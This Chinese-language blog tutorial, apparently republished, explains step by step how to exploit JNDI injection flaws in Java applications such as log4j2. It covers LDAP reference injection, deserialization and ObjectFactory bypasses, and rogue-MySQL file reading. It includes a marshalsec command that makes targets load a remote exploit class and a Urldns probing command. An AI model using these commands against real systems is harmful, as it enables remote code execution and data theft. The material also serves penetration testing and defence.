到底如何利用JNDI?
2022-9-1 10:0:58 Author: 珂技知识分享(查看原文) 阅读量:79 收藏

在log4j2漏洞之后很多人常常可以借助扫描器发现JNDI漏洞,却对利用JNDI感到很棘手,这篇文章就从实际出发,尽量少的讲原理,一步一步教你如何利用JNDI漏洞。

首先,JNDI分两种协议,一种rmi,一种ldap,在绝大部分情况下,ldap可以完美覆盖rmi,因此你可以无视rmi直接用ldap。

使用ldap,也分三种情况。

一种是jndi注入,需要被攻击者A,访问VPS上的ldap服务,然后ldap服务要求被攻击者A访问并加载一个http服务上的class。这种情况受着JDK版本限制(最低JDK11.0.1/8u191/7u201/6u211)

一种是ldap反序列化,需要被攻击者A,访问VPS上的ldap服务,然后ldap服务传输序列化payload,要求被攻击者A去进行反序列化。这种情况需要反序列化链。

一种是ldap工厂类绕过,和反序列化过程几乎一样,不同的是反序列化链换成了ObjectFactory链。

我们在测试JNDI漏洞时,第一要求就是ldap协议出网,ldap协议不出网是绝对无法完成漏洞利用的。对log4j2来说,不出网还可以用dnslog带出敏感信息,对fastjson来说,也有不出网的利用方法,但对JNDI的利用来说,必须得出网。

判断是否出网很简单,用rmi协议会非常直观(当然ldap也可以),比如我在本地上搭了个log4j2漏洞环境。

一、JNDI注入

确定出网后,就可以尝试JNDI注入。如果我们能获取对方的JDK版本,直接对比就行了,如果不能,就要盲打。比如log4j2就可以利用dnslog或者ldap来获取JDK版本。

更多时候无法获取JDK版本,可以用任意一个JNDI工具尝试盲打,比如marshalsec。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:5667/#Exploit" 1389

然后监听5667,如果收到http请求证明可以JNDI注入。

再深入利用就是将5667端口上的class换成命令执行或者内存马的恶意类。因为需要临时制作恶意类,还需要开ldap和http两个端口,比较麻烦,所以现在很多JNDI工具都集成了JNDI注入功能,大家自己搜。

https://github.com/search?q=jndi

二、反序列化绕过

但是绝大部分时候都是高版本JDK,我们只能寻求绕过方法。第一种是反序列化绕过,要求对方有反序列化链。

这种情况就只需要一个ldap服务,上述的JNDI工具也集成了此功能,但是对于反序列化链的寻找,就需要用到Urldns进行探测。

https://github.com/kezibei/Urldns

我们需要找到一个可以显示很多条dnslog的网站。

https://dig.pm/

java -jar Urldns.jar ldap all xxx.dnslog.cn

发起jndi注入攻击,效果如下

50多条,很多重复的,在web中显示不全,在burp中查看所有记录。

如果自建dnslog平台可以写个小脚本提取一下,我这里就手工提取比较重要的信息。

cc31or321.c2424831.logplog.eu.orgcb19x.c2424831.logplog.eu.orgjavax_el_ELProcessor.c2424831.logplog.eu.orgcc322.c2424831.logplog.eu.orgorg_yaml_snakeyaml_Yaml.c2424831.logplog.eu.orgbecl.c2424831.logplog.eu.orgwindows.c2424831.logplog.eu.orgcom_mysql_jdbc_Driver.c2424831.logplog.eu.orgcom_zaxxer_hikari_HikariJNDIFactory.c2424831.logplog.eu.orgorg_apache_naming_factory_BeanFactory.c2424831.logplog.eu.org

只关注反序列化链,有cb19x,有cc31or321和cc322,高版本覆盖低版本,因此cc322没有反序列化链漏洞,能利用的唯一链就是cb19x。

那么就需要用JNDI工具进行JNDI bypass,我自己写了一个,大家用网上的就行。注意commons-beanutils版本依赖。

三、ObjectFactory绕过

和反序列化绕过类似,只要被攻击者有对应的依赖就行,长期以来一直用的是javax.el.ELProcessor和org.apache.naming.factory.BeanFactory组合。但浅蓝挖掘了更多的可能性。

http://www.b1ue.cn/archives/529.html

我们用Urldns探测之后发现也发现了ELProcessor和BeanFactory,那么可以如图。

还可以发现HikariJNDIFactory和mysql的组合,mysql jdbc可以反序列化(无意义)和任意文件读取。如下图,利用jndi工具和rogue_mysql_server.py实现任意文件读取。



文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485579&idx=1&sn=fbfaf179c8ca95544e0287a4e2c6cf2b&chksm=fa9735e4cde0bcf2f65de3801f0f3f48cd8be7b27002ec9e47bccc2a71ae3af848d0eb87445c#rd
如有侵权请联系:admin#unsafe.sh